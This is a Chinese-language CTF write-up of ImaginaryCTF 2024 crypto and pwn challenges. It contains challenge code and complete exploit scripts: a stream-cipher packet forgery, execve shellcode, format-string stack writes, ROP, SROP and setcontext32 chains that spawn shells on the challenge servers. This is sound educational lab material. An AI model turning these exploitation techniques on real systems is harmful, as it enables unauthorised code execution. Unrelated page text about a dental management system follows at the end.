[ImaginaryCTF-2024] Crypto/PWN

这个比赛很良心,完整就马上上了官WP,拿到WP能学到不少东东

Crypto

base64

from Crypto.Util.number import bytes_to_long

q = 64

flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)

secret_key = []
while flag_int:
    secret_key.append(flag_int % q)
    flag_int //= q

print(f"{secret_key = }")


secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]

给的是替换成码表前的 base64,可以直接按64进制求出来。

long_to_bytes(sum([v*64**i for i,v in enumerate(secret_key)]))

integrity

from Crypto.Util.number import *
from binascii import crc_hqx

p = getPrime(1024)
q = getPrime(1024)

n = p*q
e = 65537
tot = (p-1)*(q-1)
d = pow(e, -1, tot)

flag = bytes_to_long(open("flag.txt", "rb").read())
ct = pow(flag, e, n)

#signature = pow(flag, d, n) # no, im not gonna do that
signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)

print(f"{n = }")
print(f"{ct = }")
print(f"{signature = }")

crc_hqx很特殊,网上查了下就是crc16,由于这个数很小,可以直接爆破,共模攻击。

#共模攻击
def rsa_gong_N_def(e1,e2,c1,c2,n):  #共模攻击函数
    e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
    print("e1,e2:",e1,e2)
    s = gmpy2.gcdext(e1, e2)
    print("mpz:",s)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)

for e2 in range(2,1<<16):
    m = rsa_gong_N_def(65537,e2,ct,signature,n)
    m = long_to_bytes(m)
    if b'ictf{' in m:
        print(m)
        break
#ictf{oops_i_leaked_some_info}

tango

from Crypto.Cipher import Salsa20
from Crypto.Util.number import bytes_to_long, long_to_bytes
import json
from secrets import token_bytes, token_hex
from zlib import crc32

from secret import FLAG

KEY = token_bytes(32)


def encrypt_command(command):
    if len(command) != 3:
        print('Nuh uh.')
        return
    cipher = Salsa20.new(key=KEY)
    nonce = cipher.nonce
    data = json.dumps({'user': 'user', 'command': command, 'nonce': token_hex(8)}).encode('ascii')
    checksum = long_to_bytes(crc32(data))
    ciphertext = cipher.encrypt(data)
    print('Your encrypted packet is:', (nonce + checksum + ciphertext).hex())


def run_command(packet):
    packet = bytes.fromhex(packet)
    nonce = packet[:8]
    checksum = bytes_to_long(packet[8:12])
    ciphertext = packet[12:]

    try:
        cipher = Salsa20.new(key=KEY, nonce=nonce)
        plaintext = cipher.decrypt(ciphertext)

        if crc32(plaintext) != checksum:
            print('Invalid checksum. Aborting!')
            return

        data = json.loads(plaintext.decode('ascii'))
        user = data.get('user', 'anon')
        command = data.get('command', 'nop')

        if command == 'nop':
            print('...')
        elif command == 'sts':
            if user not in ['user', 'root']:
                print('o_O')
                return
            print('The server is up and running.')
        elif command == 'flag':
            if user != 'root':
                print('You wish :p')
            else:
                print(FLAG)
        else:
            print('Unknown command.')
    except (json.JSONDecodeError, UnicodeDecodeError):
        print('Invalid data. Aborting!')


def menu():
    print('[E]ncrypt a command')
    print('[R]un a command')
    print('[Q]uit')


def main():
    print('Welcome to the Tango server! What would you like to do?')
    while True:
        menu()
        option = input('> ').upper()
        if option == 'E':
            command = input('Your command: ')
            encrypt_command(command)
        elif option == 'R':
            packet = input('Your encrypted packet (hex): ')
            run_command(packet)
        elif option == 'Q':
            exit(0)
        else:
            print('Unknown option:', option)


if __name__ == '__main__':
    main()

Server提供两个功能加密和run_command,后边是可把输入的内容解密,如果user=root,cmd=flag就给flag

加密是通过Salsa20加密,这东西跟Chacha20,RC4啥的差不多,先生成个流,然后把明文异或上去。所以先弄个密文,再用密文的nonce和密文异或原明文和新明文即可。

crc是通过明文计算的,所以不用关心,直接用明文求。

from pwn import *
from Crypto.Util.number import long_to_bytes
from zlib import crc32
import json


context.log_level = 'debug'
p = remote('tango.chal.imaginaryctf.org', 1337)

p.sendlineafter(b'> ', b'E')
p.sendlineafter(b'Your command: ', b'AAA')
p.recvuntil(b'Your encrypted packet is:')
packet = bytes.fromhex(p.recvline().strip().decode())
nonce = packet[:8]
ciphertext = packet[12:]

data1 = json.dumps({'user': 'user', 'command': 'AAA', 'nonce': '0000000000000000'}).encode('ascii')
data2 = json.dumps({'user': 'root', 'command': 'flag'}).encode('ascii')

ct2 = xor(ciphertext, data1,data2)[:len(data2)]
checksum = long_to_bytes(crc32(data2))
packet = nonce + checksum + ct2

p.sendlineafter(b'> ', b'R')
p.sendlineafter(b'Your encrypted packet (hex): ', packet.hex().encode())
p.recvline()

p.interactive()

#ictf{F0xtr0t_L1m4_4lph4_G0lf}

solitude

#!/usr/bin/env python3

import random

def xor(a: bytes, b: bytes):
  out = []
  for m,n in zip(a,b):
    out.append(m^n)
  return bytes(out)

class RNG():
  def __init__(self, size, state=None):
    self.size = size
    self.state = list(range(self.size+2))
    random.shuffle(self.state)
  def next(self):
    idx = self.state.index(self.size)
    self.state.pop(idx)
    self.state.insert((idx+1) % (len(self.state)+1), self.size) #值size和后边1格交换 
    if self.state[0] == self.size:
      self.state.pop(0)
      self.state.insert(1, self.size) #如果插入到0,改为插入到1
    idx = self.state.index(self.size+1)
    self.state.pop(idx)
    self.state.insert((idx+1) % (len(self.state)+1), self.size+1)
    if self.state[0] == self.size+1:
      self.state.pop(0)
      self.state.insert(1, self.size+1)
    if self.state[1] == self.size+1:
      self.state.pop(1)
      self.state.insert(2, self.size+1) #0,1都换为2
    c1 = self.state.index(self.size)
    c2 = self.state.index(self.size+1)
    self.state = self.state[max(c1,c2)+1:] + [self.size if c1<c2 else self.size+1] + self.state[min(c1,c2)+1:max(c1,c2)] + [self.size if c1>c2 else self.size+1] + self.state[:min(c1,c2)]
    count = self.state[-1]
    if count in [self.size,self.size+1]:
      count = self.size
    self.state = self.state[count:-1] + self.state[:count] + self.state[-1:]
    idx = self.state[0]
    if idx in [self.size,self.size+1]:
      idx = self.size
    out = self.state[idx]
    if out in [self.size,self.size+1]:
      out = self.next()
    return out

if __name__ == "__main__":
  flag = open("flag.txt", "rb").read()
  while True:
    i = int(input("got flag? "))
    for _ in range(i):
      rng = RNG(128)
      stream = bytes([rng.next() for _ in range(len(flag))])
      print(xor(flag, stream).hex())

给了一个复杂的RNG,基本包括3步:

1,先生成128+2的序列,打乱后,用128,129为指针先后移1下

2,再用指针分3段头中尾倒序

3,用最后一个值为指针后前倒序。

看别人的WP是说0的概率是其它数的2倍,那么直接统计频率最高的就是flag,但从程序上确实看不出来为啥0就是别1的2倍。

官方WP是将相邻的异或但这个方法也是因为0的频率高才成功,但绕了弯子。

lf3r

import secrets, os

n = 256
MASK = 0x560074275752B31E43E64E99D996BC7B5A8A3DAC8B472FE3B83E6C6DDB5A26E7


class LF3R:
    def __init__(self, n, key, mask):
        self.n = n
        self.state = key & ((1 << n) - 1)
        self.mask = mask
    
    def __call__(self):
        v = self.state % 3
        self.state = (self.state >> 1) | (
            ((self.state & self.mask).bit_count() & 1) << (self.n - 1)
        )
        return v


def int_to_base(n, b):
    digits = []
    while n:
        digits.append(n % b)
        n //= b
    return digits


if __name__ == "__main__":
    key = secrets.randbits(n)
    lf3r = LF3R(n, key, MASK)

    stream = [lf3r() for _ in range(2048)]

    flag = os.environ["FLAG"].encode()
    flag_digits = int_to_base(int.from_bytes(flag, "big"), 3)
    stream += [(x + lf3r()) % 3 for x in flag_digits]
    print(f"{stream = }")

前边是简单的lfsr但给出的结果是模3的结果。官WP没看大懂,又去看小鸡块大牛的,基本明白了。

当输入stream相邻值差为1/-1时,结果就对应1/0这样拿到结果,再乘上对应位置L的幂矩阵,就可以解出对应的key

lcasm

这个感觉是个pwn题,题目要求输入x,a,c,m并按x[i+1] = a*x[i]+c mod m来计算出一系列值64位整型,并当作shellcode直接运行。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-2Ch]
  __int64 v5; // [rsp+8h] [rbp-28h]
  _QWORD *addr; // [rsp+10h] [rbp-20h]
  unsigned __int64 a; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  addr = mmap(0LL, 0x1000uLL, 7, 33, 0, 0LL);
  v5 = readint("x> ");
  a = readint("a> ");
  v8 = readint("c> ");
  v9 = readint("m> ");
  for ( i = 0; i <= 15; ++i )
  {
    v5 = (v8 + mult(a, v5, v9)) % v9;
    addr[i] = v5;
  }
  mprotect(addr, 0x1000uLL, 5);
  ((void (*)(void))addr)();
  return 0;
}
unsigned __int64 __fastcall mult(unsigned __int64 a, unsigned __int64 x, unsigned __int64 m)
{
  return _umodti3(x * (unsigned __int128)a, m, 0LL);
}
unsigned __int64 __fastcall _umodti3(unsigned __int128 a_x, unsigned __int64 m, unsigned __int64 a_0)
{
  unsigned __int64 v5; // rdx
  int v6; // edx
  __int64 v7; // r10
  unsigned __int64 v8; // rcx
  unsigned __int128 v9; // rtt
  char v10; // r9
  char v11; // r10
  unsigned __int64 v12; // r11
  unsigned __int64 v13; // r8
  unsigned __int64 v14; // r11
  unsigned __int64 v15; // rax
  unsigned __int128 v16; // rtt
  __int128 v17; // rdi
  unsigned __int128 v18; // rax
  unsigned __int64 v19; // rcx
  unsigned __int64 v20; // rbx
  unsigned __int128 v21; // rax

  if ( a_0 )
  {
    if ( a_0 <= *((_QWORD *)&a_x + 1) )
    {
      _BitScanReverse64(&v5, a_0);
      v6 = v5 ^ 0x3F;
      if ( v6 )
      {
        v10 = v6;
        v11 = 64 - v6;
        v12 = m >> (64 - (unsigned __int8)v6);
        v13 = m << v6;
        v14 = (a_0 << v6) | v12;
        v15 = (unsigned __int64)a_x >> (64 - (unsigned __int8)v6);
        *(_QWORD *)&a_x = (_QWORD)a_x << v6;
        *(_QWORD *)&v16 = (*((_QWORD *)&a_x + 1) << v6) | v15;
        *((_QWORD *)&v16 + 1) = *((_QWORD *)&a_x + 1) >> (64 - (unsigned __int8)v6);
        *((_QWORD *)&a_x + 1) = v16 % v14;
        v18 = v13 * (unsigned __int128)(unsigned __int64)(v16 / v14);
        v19 = *((_QWORD *)&v18 + 1);
        v20 = v18;
        if ( a_x < v18 )
        {
          v21 = v18 - __PAIR128__(v14, v13);
          v19 = *((_QWORD *)&v21 + 1);
          v20 = v21;
        }
        return (((unsigned __int64)v17 - v20) >> v10) | ((v17 - __PAIR128__(v19, v20)) >> 64 << v11);
      }
      else
      {
        if ( a_0 < *((_QWORD *)&a_x + 1) )
          return a_x - m;
        v7 = a_x;
        if ( m <= (unsigned __int64)a_x )
          return a_x - m;
        return v7;
      }
    }
    else
    {
      return a_x;
    }
  }
  else if ( m <= *((_QWORD *)&a_x + 1) )        // m<(a*x>>64)
  {
    v8 = m;
    if ( !m )
      v8 = 1 / m;
    *(_QWORD *)&v9 = a_x;
    *((_QWORD *)&v9 + 1) = *((_QWORD *)&a_x + 1) % v8;
    return v9 % v8;
  }
  else
  {
    return a_x % m;
  }
}

_umodti3由于调用时a3=0,所以结果就是最后这一块,基本就是a*x%m

由于x2=(a*x1+c)%m,x1=(a*x0+c)%m所以可以两式相减计算a,然后计算c,再计算x0

但是实际高度时会发现这个值会差一点。大小跟模有关。所以这里尽量作个大的m=(1<<64)-1

shellcode尽量短,但无法不大于16,也就只能分3段

由于c并不参与乘,也就基本与模无关,所以可以用c微调,目的是使第2段正确。因为这里的movabs rdi,bin/sh长度为10字节,中间不好调

第1断由于只与x0有关,可以单独调x

第3段可以通过代码解决,在第2段尾用mov bl,0xa 来作个填充,最后这个值的偏差就可以忽略。

另外这个0xa可以调,因为计算a时可能会存在无法求逆的情况,用这个字节来调节。

shellcode可以自己写

binsh = u64(b'/bin/sh\x00')
shellcode = f'''
movabs rdi,{binsh};push rdi;push rsp;pop rdi;
push rax;pop rsi;
mov bl,0x01;   /* 由于每段都会产生偏移k,第1段可控,调c使第2段正确,第3段首字节作个无效字节,同时调整xs[2]使模成立  */
cdq;
push 0x3b;pop rax;
syscall
'''
shellcode = asm(shellcode).ljust(24, b'\x00')
xs = [u64(shellcode[i:i+8]) for i in range(0,24,8)]
print([hex(i) for i in xs])

m = (1<<64) - 1 #这个数决定偏差
#xs[i+1] = a*xs[i] + c mod m 
a = (xs[1] - xs[2])*inverse(xs[0]-xs[1], m)%m
c = (xs[2] - a*xs[1])%m +1          #调整c,因为每次都差1
x = (xs[0] +1 - c)*inverse(a,m)%m   #x是控
print(hex(a))
print(hex((a*x+c)%m), hex((a*xs[0]+c)%m), hex((a*xs[1]+c)%m))

p = process('./lcasm')
#gdb.attach(p, "b*0x55555555541e\nc")

[p.sendline(str(i).encode()) for i in [x,a,c,m]]

p.interactive()

官WP是用solvlinemod.py来生成,这个比较不错,但如果不知道这个库(不是常用库,在github上有)也就没法弄了,而且这个库很复杂。

剩下的也就基本上看不懂了。

PWN

imgstore

程序很长,在选3的时候会有个格式化字符串漏洞。还是栈内的而且有循环,这就好办了

unsigned __int64 sub_1E2A()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf("Enter book title: ");
    fgets(s, 50, stdin);
    printf("Book title --> ");
    printf(s);                  //栈内格式化字符串
    puts(&::s);
    if ( 334873123 * buf == dword_6050 )
    {
      dword_608C = 2;
      sub_1D77(2);
    }
    puts("Sorry, we already have the same title as yours in our database; give me another book title.");
    printf("Still interested in selling your book? [y/n]: ");
    __isoc99_scanf("%1c", &v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&::s);
  printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}

逐字节写栈 

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./imgstore')
libc = ELF('./libc.so.6')

#p = process('./imgstore')
#gdb.attach(p, "b*0x555555555ed9\nc")
p = remote('imgstore.chal.imaginaryctf.org', 1337)

p.sendlineafter(b">> ", b'3')

def getv(pay, yesno = b'y'):
    p.sendlineafter(b"Enter book title: ", pay)
    p.recvuntil(b"Book title --> ")
    msg = p.recvline()
    p.sendlineafter(b"Still interested in selling your book? [y/n]: ", yesno)
    return msg

msg = getv("%18$p,%19$p,%25$p,")
msg = msg.split(b',')
stack = int(msg[0],16) - 0x18
elf.address = int(msg[1],16) - 0x21b8
libc.address = int(msg[2],16) - 243 - libc.sym['__libc_start_main']

pop_rdi = elf.address + 0x0000000000002313 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh\0'))
system  = libc.sym['system']

pay = flat(pop_rdi+1,pop_rdi,bin_sh,system)
for i,v in enumerate(pay):
    tmp = ''
    if v != 0:
        tmp += f"%{v}c"
    tmp += "%10$hhn"
    tmp = tmp.ljust(16,'a').encode() + p64(stack+i)
    getv(tmp)

getv(b'aa', b'n')
p.interactive()

ropity、bopity

一题两问,第1步是调用printfile输入flag.txt第2步是getshell

程序只有一个gets而且pie未开,got表可写

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+8h] [rbp-8h] BYREF

  return (unsigned int)fgets(s, 256, _bss_start);
}

第1步移栈到got.fgets+8再次进入后写got表,执行got.fgets时执行printfile(参1在rbp-8)得到flag.txt

给的flag.txt恰好15字节,输出后rax寄存器值为15,在ret的位置写上写syscall后边是frame来作srop

这题没作,官WP如下

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./vuln')

p = process('./vuln')
gdb.attach(p, "b*0x40115a\nc")
#p = remote('ropity.chal.imaginaryctf.org', 1337)

#1,rbp=got.fgets+8 保留rbp再入mian将 payload2 读入got.fgets ...
p.sendline(flat(b'a'*8,elf.got['fgets']+8, 0x401142))

#将printfile写入got.fgets 并设rbp-8=&flag.txt flag.txt在404030再入main
#main中设置rdi后执行printfile 返回flag.txt字符数rax=15
payload = b""
payload += p64(elf.sym['printfile']) # got.fgets = printfile
payload += p64(0x404038) # rbp-8 = &flag.txt
payload += p64(0x401142) #printfile no rbp
payload += b"flag.txt"
payload += p64(0)

#syscall(15)进行sigreturn
frame = SigreturnFrame()
frame.rax = 59
frame.rip = 0x401198 #syscall;pop rbp;ret
frame.rdi = 0x404048 + 160
frame.rsi = 0
frame.rdx = 0
frame.rsp = u64(b"/bin/sh\0")

payload += p64(0x401198) # syscall
payload += bytes(frame)

p.sendline(payload)


p.interactive()

onewrite

一次写又学一着,给了libc地址,可以往任意地址写

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  printf("%p\n> ", &printf);
  __isoc99_scanf("%p%*c", &s);
  fgets(s, 768, stdin);
  puts("bye");
  return v6 - __readfsqword(0x28u);
}

用setcontext32这个东西生成

from collections import defaultdict
import struct

from pwn import ELF, flat


def p64(value: int) -> bytes:
    return struct.pack("<Q", value)


def create_ucontext(readable_address: int, regs: dict[str, int]) -> bytearray:
    regs = defaultdict(int, regs)

    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(readable_address)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0x28:0x30] = p64(regs["r8"])
    b[0x30:0x38] = p64(regs["r9"])

    b[0x48:0x50] = p64(regs["r12"])
    b[0x50:0x58] = p64(regs["r13"])
    b[0x58:0x60] = p64(regs["r14"])
    b[0x60:0x68] = p64(regs["r15"])
    b[0x68:0x70] = p64(regs["rdi"])
    b[0x70:0x78] = p64(regs["rsi"])
    b[0x78:0x80] = p64(regs["rbp"])
    b[0x80:0x88] = p64(regs["rbx"])
    b[0x98:0xA0] = p64(regs["rcx"])
    b[0x88:0x90] = p64(regs["rdx"])

    b[0xA0:0xA8] = p64(regs["rsp"])
    b[0xA8:0xB0] = p64(regs["rip"])

    return b


def setcontext32(libc: ELF, regs: dict[str, int] = {}) -> tuple[int, bytes]:
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    ucontext = create_ucontext(
        libc.address, {"rsp": libc.symbols["environ"] + 8} | regs
    )

    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        ucontext,
    )

官WP

from pwn import *
from setcontext32 import *

context.binary = elf = ELF("./vuln")
libc = ELF("./libc.so.6")
#conn = elf.process()
conn = remote("34.34.46.244", 1337)

conn.recvuntil(b"0x")
libc.address = int(conn.recv(12), 16) - libc.sym.printf
info("libc @ " + hex(libc.address))

dest, pl = setcontext32(
             libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
           )

conn.sendline(hex(dest).encode())
conn.sendline(pl)

conn.interactive()

fermat

第2个格式化字符串,这里边不仅有格式化串还有个溢出,通过溢出覆盖libc_start_main_ret的尾字节重入。有一地址就都有了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  read(0, buf, 0x128uLL);
  if ( strchr(buf, 110) )
    __assert_fail("strstr(buf, \"n\") == NULL", "vuln.c", 0xEu, "main");
  printf(buf);
  return 0;
}
from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')

p = process('./vuln')

'''
libc 2.35 0ubuntu3.1 
__libc_start_main_ret = libc.address + 0x29d90
把尾字节改为\x1c 重入
gef➤  x/10i 0x00007ffff7c29d1c
   0x7ffff7c29d1c:      and    al,0x8
   0x7ffff7c29d1e:      lea    rdi,[rsp+0x20]
   0x7ffff7c29d23:      mov    DWORD PTR [rsp+0x14],esi
   0x7ffff7c29d27:      mov    QWORD PTR [rsp+0x18],rdx
   0x7ffff7c29d2c:      mov    rax,QWORD PTR fs:0x28
   0x7ffff7c29d35:      mov    QWORD PTR [rsp+0x88],rax
   0x7ffff7c29d3d:      xor    eax,eax
   0x7ffff7c29d3f:      call   0x7ffff7c421e0 <_setjmp>
   0x7ffff7c29d44:      endbr64
'''
p.send(b"%39$p,".ljust(256+8, b'a') + bytes([0x1c]))
libc.address = int(p.recvuntil(b',', drop=True), 16) - 0x29d1c

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh'))
system  = libc.sym.system

p.send(b'a'*(256+8)+ flat(pop_rdi+1, pop_rdi,bin_sh,system))

p.interactive()

这是官WP,为什么改成1c呢,感觉改成76更好,没明白。

ictf-band

这应该是人答到,栈溢出没啥好说的,先read +puts泄露地址,再system

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./ictf-band')

p = process('./ictf-band')
gdb.attach(p, "b*0x555555555929\nc")

def add(pay):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Slot [1-5]: ", b'0')
    p.sendlineafter(b'Album Count: ', b'0'*99)
    p.sendafter(b"Would you like to buy one or maybe more? [y/n]: ",b'y')
    p.sendlineafter(b"The album should be pre-ordered. Tell us how many you want, we will contact you soon: ", str(len(pay)).encode())
    #p.sendline(str(len(pay)).encode())
    p.sendafter(b"Tell us your e-mail: ", pay)
    p.recvuntil(b"\x1B[0m")
    msg = p.recvline()
    p.sendlineafter(b"It's verified [y/n]: ",b'y')
    return msg

msg = add(b'A'*0x10)
libc.address = u64(msg[0x10:-1].ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']
#msg = add(b'A'*0x18)
#elf.address = u64(msg[0x10:-1].ljust(8, b'\x00')) - 0x36c1
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh'))
system  = libc.sym['system']

add(b'A'*0x98 + flat(pop_rdi+1, pop_rdi,bin_sh,system))

p.interactive()

  • 15
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
牙科就诊管理系统利用当下成熟完善的SSM框架,使用跨平台的可开发大型商业网站的Java语言,以及最受欢迎的RDBMS应用软件之一的Mysql数据库进行程序开发。实现了用户在线查看数据。管理员管理病例管理、字典管理、公告管理、药单管理、药品管理、药品收藏管理、药品评价管理、药品订单管理、牙医管理、牙医收藏管理、牙医评价管理、牙医挂号管理、用户管理、管理员管理等功能。牙科就诊管理系统的开发根据操作人员需要设计的界面简洁美观,在功能模块布局上跟同类型网站保持一致,程序在实现基本要求功能时,也为数据信息面临的安全问题提供了一些实用的解决方案。可以说该程序在帮助管理者高效率地处理工作事务的同时,也实现了数据信息的整体化,规范化与自动化。 管理员在后台主要管理病例管理、字典管理、公告管理、药单管理、药品管理、药品收藏管理、药品评价管理、药品订单管理、牙医管理、牙医收藏管理、牙医评价管理、牙医挂号管理、用户管理、管理员管理等。 牙医列表页面,此页面提供给管理员的功能有:查看牙医、新增牙医、修改牙医、删除牙医等。公告信息管理页面提供的功能操作有:新增公告,修改公告,删除公告操作。公告类型管理页面显示所有公告类型,在此页面既可以让管理员添加新的公告信息类型,也能对已有的公告类型信息执行编辑更新,失效的公告类型信息也能让管理员快速删除。药品管理页面,此页面提供给管理员的功能有:新增药品,修改药品,删除药品。药品类型管理页面,此页面提供给管理员的功能有:新增药品类型,修改药品类型,删除药品类型。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值